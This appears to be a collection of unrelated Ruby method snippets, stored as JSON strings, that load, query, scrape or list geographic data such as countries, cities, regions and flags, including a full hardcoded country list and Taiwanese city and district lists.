"def countries\n countries = YAML.load_file(Rails.root.join('data', 'locale_countries.yml'))\n countries.select! { |_, flag| File.exist? Rails.root.join('app', 'assets', 'images', 'country-flags', \"#{flag.downcase}.png\") }\n # apply potential region values too\n Dir.glob(Rails.root.join('app', 'assets', 'images', 'country-flags', '*.png')).each do |file|\n base = File.basename(file, '.png')\n next if base.starts_with?('_')\n countries[base.upcase] = base\n end\n\n countries.each { |key, flag| countries[key] = view_context.image_path(\"country-flags/#{flag.downcase}.png\") }\n\n render json: countries.to_json\n end",
"def load_countries(iso3166_tab_path, zone_tab_path); end",
"def city\n fetch('world_cup.cities')\n end",
"def cities()\n sql = \"SELECT cities.* FROM cities WHERE country_id = $1\"\n values = [@id]\n cities = SqlRunner.run(sql, values)\n result = City.map_items(cities)\n return result\n end",
"def countries\n collection(\"countries\")\n end",
"def countries\n @countries = Spree::Country.where(name: Spree::Config[:default_address_country])\n zone = Spree::Zone.find_by(name: Spree::Config[:address_zone_name]) if Spree::Config[:address_zone_name]\n @countries = zone.countries.order(:name) if zone.present?\n end",
"def set_states_cities data\n states_hash = Hash.new { |h,k| h[k] = [] }\n cities_hash = Hash.new { |h,k| h[k] = [] }\n data.each do |row|\n if !states_hash[row[\"country_name\"]].include?(row[\"province_name\"])\n states_hash[row[\"country_name\"]] << row[\"province_name\"]\n end\n if !cities_hash[row[\"province_name\"]].include?(row[\"city_name\"])\n cities_hash[row[\"province_name\"]] << row[\"city_name\"]\n end\n end\n @@all_cities = cities_hash\n @@all_states = states_hash\n build_result(@distributor_name, @include_regions, @exclude_regions)\n end",
"def get_list_cities\n City.get_all_cities\n end",
"def cities_helper\n [\n ['基隆市', '基隆市'],\n ['台北市', '台北市'],\n ['新北市', '新北市'],\n ['桃園縣', '桃園縣'],\n ['新竹市', '新竹市'],\n ['新竹縣', '新竹縣'],\n ['苗栗縣', '苗栗縣'],\n ['台中市', '台中市'],\n ['彰化縣', '彰化縣'],\n ['南投縣', '南投縣'],\n ['雲林縣', '雲林縣'],\n ['嘉義市', '嘉義市'],\n ['嘉義縣', '嘉義縣'],\n ['台南市', '台南市'],\n ['高雄市', '高雄市'],\n ['屏東縣', '屏東縣'],\n ['台東縣', '台東縣'],\n ['花蓮縣', '花蓮縣'],\n ['宜蘭縣', '宜蘭縣'],\n ['澎湖縣', '澎湖縣'],\n ['金門縣', '金門縣'],\n ['連江縣', '連江縣']\n ]\n end",
"def cities\n cities = CS.cities(params[:id], :GB)\n if cities.blank?\n country = ISO3166::Country.find_country_by_alpha3(params[:id])\n cities = country_cites(country)\n return(render json: { message: I18n.t(:invalid_country) }) if cities.blank?\n end\n render json: cities\n end",
"def identify_countries\n names = YAML.load_file( File.dirname(File.expand_path(__FILE__)) + '/lang/' + @lang + '/countries.yml' )\n names.each do |code,name|\n @svg.gsub!(\"class=\\\"land #{code}\\\"\", \"class=\\\"land #{code}\\\" country-name=\\\"#{name}\\\" country-value=\\\"#{@data[code]}\\\" onmouseover=\\\"worldMapOver(this)\\\" onmouseout=\\\"worldMapOut(this)\\\" onclick=\\\"worldMapClick(this)\\\" ondblclick=\\\"worldMapDblClick(this)\\\"\")\n end\n end",
"def build_areas_from_country_codes\n CSV.read(\"#{@args[:data_directory]}data/external/country_names_and_code_elements.txt\", options = {headers: true, col_sep: ';'}).each do |r|\n @data_index.add_item(\n name: uncapitalize(r['Country Name']),\n parent_names: [@earth.name],\n lvl0: uncapitalize(r['Country Name']),\n source_table: 'country_names_and_code_elements',\n geographic_area_type_name: 'Country',\n is_internal_node: true,\n iso_3166_a2: r['ISO 3166-1-alpha-2 code']\n )\n end\n end",
"def country_to_culture\n @country_to_culture ||= begin\n result = {}\n glob(\"history/countries/*.txt\").each do |path|\n tag = path.basename.to_s[0,3]\n node = parse(path)\n result[tag] = node[\"primary_culture\"]\n end\n result\n end\n end",
"def load_locations\n add_location('Bangalore', 'Belgaum', 24)\n add_location('Bangalore', 'Mysore', 71)\n add_location('Belgam', 'Tumkur', 59)\n add_location('Mandya', 'Mangalore', 141)\n add_location('Tumkur', 'Mandya', 65.5)\n add_location('Mandya', 'Mysore', 101)\n add_location('Belgaum', 'Chickmangalur', 103)\n add_location('Mandya', 'Tumkur', 65)\n add_location('Mangalore', 'Mysore', 169)\n add_location('Mysore', 'Tumkur', 134)\n end",
"def countries_list\n [\n ['Afghanistan', 'Afghanistan'],\n ['Albania', 'Albania'],\n ['Algeria', 'Algeria'],\n ['American Samoa', 'American Samoa'],\n ['Andorra', 'Andorra'],\n ['Angola', 'Angola'],\n ['Antigua and Barbuda', 'Antigua and Barbuda'],\n ['Argentina', 'Argentina'],\n ['Armenia', 'Armenia'],\n ['Australia', 'Australia'],\n ['Austria', 'Austria'],\n ['Azerbaijan', 'Azerbaijan'],\n ['Bahamas', 'Bahamas'],\n ['Bahrain', 'Bahrain'],\n ['Bangladesh', 'Bangladesh'],\n ['Barbados', 'Barbados'],\n ['Belarus', 'Belarus'],\n ['Belgium', 'Belgium'],\n ['Belize', 'Belize'],\n ['Benin', 'Benin'],\n ['Bermuda', 'Bermuda'],\n ['Bhutan', 'Bhutan'],\n ['Bolivia', 'Bolivia'],\n ['Bosnia and Herzegovina', 'Bosnia and Herzegovina'],\n ['Botswana', 'Botswana'],\n ['Brazil', 'Brazil'],\n ['Brunei', 'Brunei'],\n ['Bulgaria', 'Bulgaria'],\n ['Burkina Faso', 'Burkina Faso'],\n ['Burundi', 'Burundi'],\n ['Cambodia', 'Cambodia'],\n ['Cameroon', 'Cameroon'],\n ['Canada', 'Canada'],\n ['Cape Verde', 'Cape Verde'],\n ['Cayman Islands', 'Cayman Islands'],\n ['Central African Republic', 'Central African Republic'],\n ['Chad', 'Chad'],\n ['Chile', 'Chile'],\n ['China', 'China'],\n ['Colombia', 'Colombia'],\n ['Comoros', 'Comoros'],\n ['Congo, Democratic Republic of the', 'Congo, Democratic Republic of the'],\n ['Congo, Republic of the', 'Congo, Republic of the'],\n ['Costa Rica', 'Costa Rica'],\n [\"Côte d'Ivoire\", \"Côte d'Ivoire\"],\n ['Croatia', 'Croatia'],\n ['Cuba', 'Cuba'],\n ['Cyprus', 'Cyprus'],\n ['Czech Republic', 'Czech Republic'],\n ['Denmark', 'Denmark'],\n ['Djibouti', 'Djibouti'],\n ['Dominica', 'Dominica'],\n ['Dominican Republic', 'Dominican Republic'],\n ['East Timor', 'East Timor'],\n ['Ecuador', 'Ecuador'],\n ['Egypt', 'Egypt'],\n ['El Salvador', 'El Salvador'],\n ['Equatorial Guinea', 'Equatorial Guinea'],\n ['Eritrea', 'Eritrea'],\n ['Estonia', 'Estonia'],\n ['Ethiopia', 'Ethiopia'],\n ['Fiji', 'Fiji'],\n ['Finland', 'Finland'],\n ['France', 'France'],\n ['French Polynesia', 'French Polynesia'],\n ['Gabon', 'Gabon'],\n ['Gambia', 'Gambia'],\n ['Georgia', 'Georgia'],\n ['Germany', 'Germany'],\n ['Ghana', 'Ghana'],\n ['Greece', 'Greece'],\n ['Greenland', 'Greenland'],\n ['Grenada', 'Grenada'],\n ['Guam', 'Guam'],\n ['Guatemala', 'Guatemala'],\n ['Guinea', 'Guinea'],\n ['Guinea-Bissau', 'Guinea-Bissau'],\n ['Guyana', 'Guyana'],\n ['Haiti', 'Haiti'],\n ['Honduras', 'Honduras'],\n ['Hong Kong', 'Hong Kong'],\n ['Hungary', 'Hungary'],\n ['Iceland', 'Iceland'],\n ['India', 'India'],\n ['Indonesia', 'Indonesia'],\n ['Iran', 'Iran'],\n ['Iraq', 'Iraq'],\n ['Ireland', 'Ireland'],\n ['Israel', 'Israel'],\n ['Italy', 'Italy'],\n ['Jamaica', 'Jamaica'],\n ['Japan', 'Japan'],\n ['Jordan', 'Jordan'],\n ['Kazakhstan', 'Kazakhstan'],\n ['Kenya', 'Kenya'],\n ['Kiribati', 'Kiribati'],\n ['North Korea', 'North Korea'],\n ['South Korea', 'South Korea'],\n ['Kosovo', 'Kosovo'],\n ['Kuwait', 'Kuwait'],\n ['Kyrgyzstan', 'Kyrgyzstan'],\n ['Laos', 'Laos'],\n ['Latvia', 'Latvia'],\n ['Lebanon', 'Lebanon'],\n ['Lesotho', 'Lesotho'],\n ['Liberia', 'Liberia'],\n ['Libya', 'Libya'],\n ['Liechtenstein', 'Liechtenstein'],\n ['Lithuania', 'Lithuania'],\n ['Luxembourg', 'Luxembourg'],\n ['Macedonia', 'Macedonia'],\n ['Madagascar', 'Madagascar'],\n ['Malawi', 'Malawi'],\n ['Malaysia', 'Malaysia'],\n ['Maldives', 'Maldives'],\n ['Mali', 'Mali'],\n ['Malta', 'Malta'],\n ['Marshall Islands', 'Marshall Islands'],\n ['Mauritania', 'Mauritania'],\n ['Mauritius', 'Mauritius'],\n ['Mexico', 'Mexico'],\n ['Micronesia', 'Micronesia'],\n ['Moldova', 'Moldova'],\n ['Monaco', 'Monaco'],\n ['Mongolia', 'Mongolia'],\n ['Montenegro', 'Montenegro'],\n ['Morocco', 'Morocco'],\n ['Mozambique', 'Mozambique'],\n ['Myanmar', 'Myanmar'],\n ['Namibia', 'Namibia'],\n ['Nauru', 'Nauru'],\n ['Nepal', 'Nepal'],\n ['Netherlands', 'Netherlands'],\n ['New Zealand', 'New Zealand'],\n ['Nicaragua', 'Nicaragua'],\n ['Niger', 'Niger'],\n ['Nigeria', 'Nigeria'],\n ['Norway', 'Norway'],\n ['Northern Mariana Islands', 'Northern Mariana Islands'],\n ['Oman', 'Oman'],\n ['Pakistan', 'Pakistan'],\n ['Palau', 'Palau'],\n ['Palestine', 'Palestine'],\n ['Panama', 'Panama'],\n ['Papua New Guinea', 'Papua New Guinea'],\n ['Paraguay', 'Paraguay'],\n ['Peru', 'Peru'],\n ['Philippines', 'Philippines'],\n ['Poland', 'Poland'],\n ['Portugal', 'Portugal'],\n ['Puerto Rico', 'Puerto Rico'],\n ['Qatar', 'Qatar'],\n ['Romania', 'Romania'],\n ['Russia', 'Russia'],\n ['Rwanda', 'Rwanda'],\n ['Saint Kitts and Nevis', 'Saint Kitts and Nevis'],\n ['Saint Lucia', 'Saint Lucia'],\n ['Saint Vincent and the Grenadines', 'Saint Vincent and the Grenadines'],\n ['Samoa', 'Samoa'],\n ['San Marino', 'San Marino'],\n ['Sao Tome and Principe', 'Sao Tome and Principe'],\n ['Saudi Arabia', 'Saudi Arabia'],\n ['Senegal', 'Senegal'],\n ['Serbia and Montenegro', 'Serbia and Montenegro'],\n ['Seychelles', 'Seychelles'],\n ['Sierra Leone', 'Sierra Leone'],\n ['Singapore', 'Singapore'],\n ['Slovakia', 'Slovakia'],\n ['Slovenia', 'Slovenia'],\n ['Solomon Islands', 'Solomon Islands'],\n ['Somalia', 'Somalia'],\n ['South Africa', 'South Africa'],\n ['Spain', 'Spain'],\n ['Sri Lanka', 'Sri Lanka'],\n ['Sudan', 'Sudan'],\n ['Sudan, South', 'Sudan, South'],\n ['Suriname', 'Suriname'],\n ['Swaziland', 'Swaziland'],\n ['Sweden', 'Sweden'],\n ['Switzerland', 'Switzerland'],\n ['Syria', 'Syria'],\n ['Taiwan', 'Taiwan'],\n ['Tajikistan', 'Tajikistan'],\n ['Tanzania', 'Tanzania'],\n ['Thailand', 'Thailand'],\n ['Togo', 'Togo'],\n ['Tonga', 'Tonga'],\n ['Trinidad and Tobago', 'Trinidad and Tobago'],\n ['Tunisia', 'Tunisia'],\n ['Turkey', 'Turkey'],\n ['Turkmenistan', 'Turkmenistan'],\n ['Tuvalu', 'Tuvalu'],\n ['Uganda', 'Uganda'],\n ['Ukraine', 'Ukraine'],\n ['United Arab Emirates', 'United Arab Emirates'],\n ['United Kingdom', 'United Kingdom'],\n ['United States', 'United States'],\n ['Uruguay', 'Uruguay'],\n ['Uzbekistan', 'Uzbekistan'],\n ['Vanuatu', 'Vanuatu'],\n ['Vatican City', 'Vatican City'],\n ['Venezuela', 'Venezuela'],\n ['Vietnam', 'Vietnam'],\n ['Virgin Islands, British', 'Virgin Islands, British'],\n ['Virgin Islands, U.S.', 'Virgin Islands, U.S.'],\n ['Yemen', 'Yemen'],\n ['Zambia', 'Zambia'],\n ['Zimbabwe', 'Zimbabwe']\n ]\n end",
"def city\n fetch('dnd.cities')\n end",
"def cities()\n sql=\"SELECT * FROM cities WHERE country_id = $1\"\n values = [@id]\n cities = SqlRunner.run(sql, values)\n return cities.map{|city| City.new(city)}\n end",
"def import_cities(file)\n City.transaction do\n while (row = file.gets)\n row = row.split(/\\t/)\n \n city = City.create(\n :geoname_id => row[0], :country_id => @@countries[row[8]], :region_id => @@regions[row[10]],\n :name => row[1], :name_ascii => row[2], :lat => row[4], :lng => row[5],\n :time_zone => row[17]\n )\n end\n end\n end",
"def get_cities\n cities = {}\n doc = nil\n retry_if_exception do\n doc = Nokogiri::HTML( easy_curl(@host_url) )\n end\n return [] if not doc\n a_cities = doc.css(\"ul[class='s-dropdown afh-dd-city'] li a\")\n a_cities.each do |city|\n city_name = city.text\n city_code = city['href'].scan(/\\w+(?=\\/changecity)/).pop\n next if not city_code\n cities[city_code] = city_name\n end\n cities\nend",
"def import_countries(file)\n Country.transaction do\n while (line = file.gets)\n next if line.match(/^#/)\n line = line.split(/\\t/)\n \n c = Country.create(\n :iso2 => line[0], :iso3 => line[1], :ison => line[2],\n :name => line[4], :capital => line[5], :area => line[6],\n :continent => line[8], :currency_code => line[10], :currency_name => line[11],\n :phone => line[12], :geoname_id => line[16]\n )\n @@countries[line[0]] = c.id\n end\n end\n end",
"def store_all_cities(json_obj)\n cities = json_obj['metros'].each{ |city|\n timezone = city['timezone']\n country = city['country']\n name = city['name']\n code = city['code']\n population = city['population']\n continent = city['continent']\n coordinates = city['coordinates']\n region = city['region']\n linked_cities = []\n new_node = Node.new(code,name,country,continent,timezone,coordinates,population,region, linked_cities)\n node_hash[code] = new_node\n continent_hash[continent] << name\n }\n end",
"def cities\n gallaries.map{|place| place.city}\n\n end",
"def cities()\n sql = \"SELECT cities.* FROM cities WHERE country_id = $1;\"\n values = [@id]\n city_list = SqlRunner.run(sql, values)\n return city_list.map{|city| City.new(city)}\n end",
"def variables\n @countries = [\"Australia\",\"Canada\",\"France\",\"Mexico\",\"Spain\",\"Norway\",\"Netherlands\",\"United States\"]\n @categories = [\"Art\",\"Music\",\"Film and Video\",\"Tech\",\"Dance\",\"Fashion\",\"Games\",\"Photography\",\"Theather\",\"Food\"]\n end",
"def load_regions\n\t\t\tregions = Locations::Regions.const_get(ENV['CURRENT_CITY'])\n\t\tend",
"def get_all_countries\n puts \"collecting countries infomation..\"\n f1 = open(@CIA_URL)\n doc = Nokogiri::HTML(f1)\n open('countries.txt', 'wb') do |file|\n file << open(@CIA_URL)\n end\n doc.css(\"ul#GetAppendix_TextVersion li a\").each do |item|\n country_name = item.text\n next if country_name == \"World\" or country_name == \"European Union\" or country_name == \"Antarctica\"\n country_url = @CIA_URL\n new_url = (country_url.split('/')[0..-2]).join('/')\n country_url = new_url << '/' << item['href']\n puts \"#{country_name}\"\n f = open(country_url)\n doc = f.read()\n f.close()\n country = CountryInfo.new(country_name, country_url, doc)\n continent = get_continent(doc)\n if continent != nil\n continent.downcase!\n @country_lists[continent] += [country]\n end\n \n end\n # helper_save\n puts \"========================================================================\"\n puts \"========================================================================\"\n puts \"==============================start parsing=============================\"\n puts \"========================================================================\"\n puts \"========================================================================\"\n end",
"def full_descriptor\n city_country_tz = \"<img src='/images/flags/#{self.country.country_code.downcase}.png' /> #{self.utf8_name}\" # we will search on the ascii name but display the UTF8 one\n \n # if city has a region mapped in the db, print it out\n city_country_tz += \", #{self.region.name}\" if (self.region)\n \n # If the city has a country mapped in the db, print it out\n city_country_tz += \", #{self.country.name}\" if (self.country)\n \n # If the city has a time zone mapped in the db, print it out\n city_country_tz += \" (#{self.time_zone.name})\" if (self.time_zone) \n \n # this is a bad hack to make sure the seperator value is include\n # need to figure out how auto-complete can append this once a selection is selected\n #city_country_tz += \"; \"\n \n # Return the array\n city_country_tz\n end",
"def load_data(data)\n countries = []\n\n (0..data['countries'].length - 1).each do |i|\n country_data = data['countries'][i]\n country = Country.new\n country.name = country_data['name']\n\n # Load the country's sets\n sets = []\n (0..country_data['sets'].length - 1).each do |j|\n set_data = country_data['sets'][j]\n set = Set.new\n set.name = set_data['name']\n\n # Load the set's advice\n advice = []\n (0..set_data['review'].length - 1).each do |k|\n advice.push(set_data['review'][k])\n end\n set.advice = advice\n\n # Load set's quiz questions\n questions = []\n (0..set_data['quiz'].length - 1).each do |k|\n quiz_data = set_data['quiz'][k]\n question = Quiz.new\n question.prompt = quiz_data['prompt']\n\n # Load question's responses\n responses = []\n (0..quiz_data['answers'].length - 1).each do |m|\n response = Response.new\n response.text = quiz_data['answers'][m]['text']\n response.is_correct = (quiz_data['answers'][m]['isCorrect'] == 'true')\n responses.push(response)\n end\n question.responses = responses\n questions.push(question)\n end\n set.quiz_questions = questions\n\n sets.push(set)\n country.sets = sets\n end\n countries.push(country)\n end\n countries\nend",
"def fetch_cities_from_aramex\n response = []\n zones = Spree::ShippingMethod.where(['LOWER(admin_name) like ?', '%aramex%']).map(&:zones).flatten\n if zones.map(&:country_ids).flatten.uniq.include?(params['country_code'].to_i)\n country = Spree::Country.find(params['country_code'])\n response = JSON.parse(fetch_cities(country.iso))['Cities']\n end\n respond_to do |format|\n format.json { render json: response, status: 200 }\n end\n end",
"def set_city\n end",
"def import_locale_map\n json = JSON.parse(File.read(path_to_json))\n\n json[\"countries\"].each_pair do |country_code, country_data|\n country_name = country_data[\"name\"]\n languages = country_data[\"locales\"]\n\n associate_country_with_locales(country_name, country_code, languages)\n end\n end",
"def initialize\n\n @@cities ||= Hash.new\n\n if(@@cities.empty?)\n self.read_cities_from_input!\n end\n\n end",
"def get_countries\n countries=[]\n @locations.each do |loc|\n countries << loc.country.capitalize if loc.country\n end\n countries.uniq\n end",
"def cities()\n \n url = \"http://servicos.cptec.inpe.br/XML/listaCidades\"\n \n cities = Array.new\n \n request ||= requestXml(url)\n \n request.xpath('//cidades/cidade').each do |cidadePath|\n \n cidade = Hash.new\n \n cidade[:id] = cidadePath.at_xpath('id').text.strip\n cidade[:uf] = cidadePath.at_xpath('uf').text.strip\n cidade[:nome] = cidadePath.at_xpath('nome').text.strip\n \n cities << cidade\n \n end\n \n cities\n \n end",
"def import\n\n output = ''\n\n country_src = 'tmp/Countries.txt'\n \n rs = File.open(country_src)\n rs.gets # <-- remove first line (columns header) \"CountryID:Title\"\n countries = {}\n City.delete_all\n Region.delete_all\n Country.delete_all\n\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n countries[row[0]] = {:name => row[1], :regions => {}, :model => nil}\n c = Country.new\n c.iso = row[0]\n c.name = row[1]\n c.save\n countries[row[0]][:model] = c\n end\n\n regions_src = 'tmp/Regions.txt'\n \n rs = File.open(regions_src)\n rs.gets # <-- remove the 1st line (header row) #CountryID:RegionID:Title\n while (row = rs.gets) \n row = row.split(':')\n row[0].gsub!(/\\n/, '')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n c = countries[row[0]][:model]\n r = Region.new\n r.iso = row[1]\n r.country_id = c.id\n\n # magic trick to ignore UTF-8 chars for now.\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n r.name = ic.iconv(row[2] + ' ')[0..-2]\n r.save\n countries[row[0]][:regions][row[1]] = r\n\n end\n\n cities_src = 'tmp/Cities.txt'\n \n rs = File.open(cities_src)\n rs.gets # <-- remove 1st row (header) #CountryID:RegionID:Title:Latitude:Longitude\n while(row = rs.gets)\n row = row.split(':')\n row[1].gsub!(/\\n/, '')\n row[2].gsub!(/\\n/, '')\n row[3].gsub!(/\\n/, '')\n row[4].gsub!(/\\n/, '')\n \n r = countries[row[0]][:regions][row[1]]\n if (!r.nil?) \n c = City.new\n ic = Iconv.new('UTF-8//IGNORE', 'UTF-8')\n c.name = ic.iconv(row[2] + ' ')[0..-2] \n c.region_id = r.id\n c.lat = row[3]\n c.lng = row[4]\n c.save\n end\n end\n\n output += '<h1>Import complete</h1>'\n render(:text => output, :layout => false)\n end",
"def country_list\n @countries ||= case kind\n when 'country' then\n zoneables\n when 'state' then\n zoneables.collect(&:country)\n when 'county'\n zone_member.zoneable.country_list\n else\n []\n end.flatten.compact.uniq\n end",
"def load_country_data(code)\n if cache_data?\n return @@cached_data[code] if @@cached_data[code]\n end\n\n json = File.read(path_for_country(code))\n country_data = MultiJson.load(json)\n\n if cache_data?\n @@cached_data[code] = country_data\n end\n\n country_data\n end",
"def country_list\n get_request( \"/api/v2_1/api/countries\")\n end",
"def cities\n galleries.map do |c|\n c.city\n end\n end",
"def get_country\n @single_city_data[\"sys\"][\"country\"]\n end",
"def metadata_cities(structure)\n place = []\n courses = structure.courses\n\n place << 'A domicile' if courses.where(type: 'Course::Private').any?\n if (public_courses = courses.where.not(type: 'Course::Private')).any?\n place += public_courses.flat_map(&:places).flat_map(&:city).uniq.map(&:name).sort\n end\n\n place.first(3).to_sentence\n end",
"def countries\r\n\t\t\tCOUNTRIES\r\n\t\tend",
"def read_cities_from_input!\n file = nil\n\n if(ARGV[0] and not ARGV[0].empty?)\n file = File.open(ARGV[0], \"r\")\n else\n file = File.open(\"cities.txt\", \"r\")\n end\n\n file.each_with_index do |line, idx|\n line_ar = line.split(\"\\t\")\n #Loads each line into an object with a name and a location vector with latitude and longitude\n @@cities[idx] = {:name=>line_ar[0], :location=>Vector[line_ar[1].to_f, line_ar[2].to_f]}\n end\n end",
"def countries(input)\n get_single_method(:countries, input)\n end",
"def print_continent_cities(graph_instance)\n graph_instance.continent_hash.each_key { |key|\n continent = graph_instance.continent_hash[key]\n puts \"Cities in #{key} are - \"\n continent.each { |city|\n puts \"#{city}\"\n }\n }\nend",
"def all_countries \n\t\tself.class.get('/all')\n\tend",
"def add_to_collector(locality)\n p locality.to_yaml\n# open(DATA_DIR+COLLECTOR_CONF,'w') {|f| YAML.dump(locality, f)}\n end",
"def country_list\n return [] if type == \"state\"\n return countries if type == \"country\"\n members.collect { |zone| zone.country_list }.flatten\n end",
"def country_values\n %w(\n Austria\n Belgium\n Denmark\n Finland\n France\n Germany\n Greece\n Iceland\n Ireland\n Italy\n Netherlands\n Norway\n Portugal\n Spain\n Sweden\n Switzerland\n United Kingdom\n USA\n )\n end",
"def countries\n puts \"Which country would you like to explore?\"\n puts <<-DOC\n 1. Scotland\n 2. Ireland\n 3. United States of America\n 4. Japan\n 5. Canada\n 6. Other countries\n DOC\n country_list\n end",
"def country_api\n # endpoint = \"https://corona.lmao.ninja/countries\"\n endpoint = 'https://corona.lmao.ninja/v2/countries'\n response = HTTParty.get(endpoint)\n data = JSON.parse response.body\n res = data\n result =[]\n endpoint_all = \"https://corona.lmao.ninja/all\"\n response1 = HTTParty.get(endpoint_all)\n data1 = JSON.parse response1.body\n res1 = data1\n result<<{\n country: \"world\",\n cases: res1[\"cases\"],\n todayCases: res1[\"todayCases\"],\n deaths: res1[\"deaths\"],\n todayDeaths: res1[\"todayDeaths\"],\n recovered: res1[\"recovered\"],\n active: res1[\"active\"],\n critical: res1[\"critical\"],\n casesPerOneMillion: res1[\"casesPerOneMillion\"],\n deathsPerOneMillion: res1[\"deathsPerOneMillion\"],\n tests: res1[\"tests\"],\n testsPerOneMillion: res1[\"testsPerOneMillion\"],\n affectedCountries: res1[\"affectedCountries\"]\n }\n\n res.each do |country|\n result<<{\n country: country[\"country\"],\n lat: country[\"countryInfo\"][\"lat\"],\n long: country[\"countryInfo\"][\"long\"],\n flag: country[\"countryInfo\"][\"flag\"],\n cases: country[\"cases\"],\n todayCases: country[\"todayCases\"],\n deaths: country[\"deaths\"],\n todayDeaths: country[\"todayDeaths\"],\n recovered: country[\"recovered\"],\n active: country[\"active\"],\n critical: country[\"critical\"],\n casesPerOneMillion: country[\"casesPerOneMillion\"],\n deathsPerOneMillion: country[\"deathsPerOneMillion\"],\n tests: country[\"tests\"],\n testsPerOneMillion: country[\"testsPerOneMillion\"]\n }\n end\n render json: result\n end",
"def countries\n countries_ids = self.answers.where(answer_type: 'geo_countries').first.try(:text_value).split(',')\n Country.where(:id => countries_ids)\n end",
"def parse_places()\n File.open('places2k.txt') do |file|\n while line = file.gets do\n state_abbr = line[0,2]\n# state_fips_code = line[2,2]\n# place_fips_code = line[4,5]\n place_name = line[9,63].strip\n place_name.gsub!(/ (CDP|town|village|city)$/, '')\n# lookup_zip_codes(place_name, state_abbr).each do |zip|\n# puts \"#{state_abbr}|#{place_name}|#{zip}\"\n# end\n state = StateProvince.find_by_abbreviation(state_abbr)\n if state && City.find_by_name_and_state_province_id(place_name, state.id)\n puts \"City #{place_name}, #{state_abbr} already exists... skipping\"\n next\n end\n persist(place_name, state_abbr, lookup_zip_codes(place_name, state_abbr), nil)\n end\n end\nend",
"def read_data_from_file\n file = File.read(\"condensed_capitals.json\")\n @countries_capitals_as_hash = JSON.parse(file)\n end",
"def find_city_list\n sql = \"SELECT * FROM cities WHERE country_id = $1\"\n values = [@id]\n cities = SqlRunner.run(sql, values)\n return cities.map {|city| City.new(city)}\n end",
"def countries\n xml.css('country').map{|c| Allorails::Country.new(c)}\n end",
"def country\n city.country\n end",
"def db_countries\r\n\t\tLocation.find :all, :order=>\"country ASC\", :select => \"DISTINCT country\"\r\n\tend",
"def index\n # TODO Need to sort on the Rails side so we can sort in the\n # proper order for the translated country name. In fact, if we're\n # already doing that, then the following line is unnecessary.\n options = {:order => 'country, state, city, name'}\n\n # TODO tease apart all this logic and move it under sensibly named\n # methods.\n if params[:country]\n country_name = seo_decode(params[:country])\n @country = I18n.t(country_name, :scope => :reverse_countries, :locale => host_locale) || country_name\n\n redirect_country = seo_encode better_translation(country_name, @country, :countries)\n\n if params[:state]\n state_name = seo_decode(params[:state])\n state = t(state_name, :scope => [:reverse_provinces, @country], :locale => host_locale) || state_name\n\n redirect_state = seo_encode better_translation(state_name, state, [:provinces, @country])\n\n redirect_to(:country => (redirect_country||params[:country]), :state => (redirect_state||params[:state]), :status => :moved_permanently) && return if redirect_country || redirect_state\n\n options[:conditions] = ['country = ? AND state = ?', @country, state]\n @heading = t 'clubs_in_location', :location => t(state, :scope => [:provinces, @country], :default => state_name)\n\n @title = t 'clubs_in_state_and_country', :state => state_name, :country => country_name\n else\n redirect_to(:country => redirect_country, :status => :moved_permanently) && return if redirect_country\n\n options[:conditions] = ['country = ?', @country]\n @heading = @title = t('clubs_in_location', :location => t(@country, :scope => :countries, :default => country_name))\n end\n end\n\n @locations = Location.visible.find(:all, options)\n\n @map = create_map(@locations, 1) unless @locations.blank?\n\n @locations.each do |location|\n pushpin_for_club(location, :link_club => true) if location.lat && location.lng\n end if @map\n\n respond_to do |format|\n format.html # index.html.haml\n format.xml { render :xml => @locations }\n end\n end",
"def countries(input)\n get_single_method('countries', input)\n end",
"def countries\n @countries ||= Fotolia::Countries.new(self)\n end",
"def db_seed_ethnicities\n path = Rails.root.join('db','seeds','ethnicities.yml')\n File.open(path) do |file|\n # puts \"Seeding App Ethnicities from #{path}\"\n YAML.load_stream(file) do |doc|\n doc.keys.each do |group|\n # puts \"Seeding ethnicity with group #{group}\"\n names = doc[group]\n names.each do |name|\n db_seed_ethnicity(group, name)\n end\n end\n end\n end\nend",
"def cities\n Enumerator.new do |iter|\n CITIES.each_key { |ro_key| iter << RegionalOffice.new(ro_key) }\n end\n end",
"def districts_helper(city)\n districts =\n {\n \"基隆市\" => [\n ['仁愛區'],\n ['信義區'],\n ['中正區'],\n ['中山區'],\n ['安樂區'],\n ['暖暖區'],\n ['七堵區']\n ],\n \"台北市\" => [\n ['中正區'],\n ['大同區'],\n ['中山區'],\n ['松山區'],\n ['大安區'],\n ['萬華區'],\n ['信義區'],\n ['士林區'],\n ['北投區'],\n ['內湖區'],\n ['南港區'],\n ['文山區'],\n ]\n }\n districts[\"#{city}\"]\n end",
"def cities\n galleries.map {|g| g.city}\n end",
"def index\n @cities = City.select(:id, :name, :locked, :stone, :wood, :win, :lose, :population).order(population: :desc).limit(30)\n @city_hash = cookies[:city_hash]\n end",
"def add_latlon_cities(country_name, state_code, cities)\n country = Country.new(country_name)\n return cities if country.nil?\n\n state_name = country.states[state_code]['name'] unless country.nil?\n city_names = cities.map { |r| r[0] }\n locations = Hash[\n Place.where('\\'political\\' = ANY (types)')\n .where(state: state_name, country: country_name, name: city_names).map do |place|\n [place.name, [place.latitude, place.longitude, place.name]]\n end\n ]\n\n cities.map do |city|\n if locations.key?(city[0]) # If the city was found on the database\n locations[city[0]] + [city[1]]\n else\n points = Place.latlon_for_city(city[0], state_code, country_name)\n points + [city[0], city[1]] if points\n end\n end.compact\n end",
"def index\n @graphium_cities = Graphium::City.all\n end",
"def import_counties(options)\n import_places PlaceType::County, options\n end",
"def show_countries(countries)\n for country in countries\n puts country[:name]\n end\nend",
"def city; end",
"def city; end",
"def city; end",
"def city; end",
"def city; end",
"def city; end",
"def country(code, name); end",
"def init_states\n russia_states = Country.find_by_iso(\"RU\").states\n ukraine_states = Country.find_by_iso(\"UA\").states\n @states = russia_states + ukraine_states\n end",
"def test_that_it_adds_the_default_country\n hash = PigeonBand.format(\"1-1-1\")\n assert_equal \"DE\", hash[:code]\n end",
"def pref_by_city\n @pref_by_city ||= begin\n update_area_table\n @pref_by_city\n end\n end",
"def get_cis\n @cis['countries'].map{ |c| find_by_code(c) }\n end",
"def currencies\n reload_currencies_cache if !self.currencies_cache?\n c = YAML.load(self.currencies_cache)\n c ||= {}\n end",
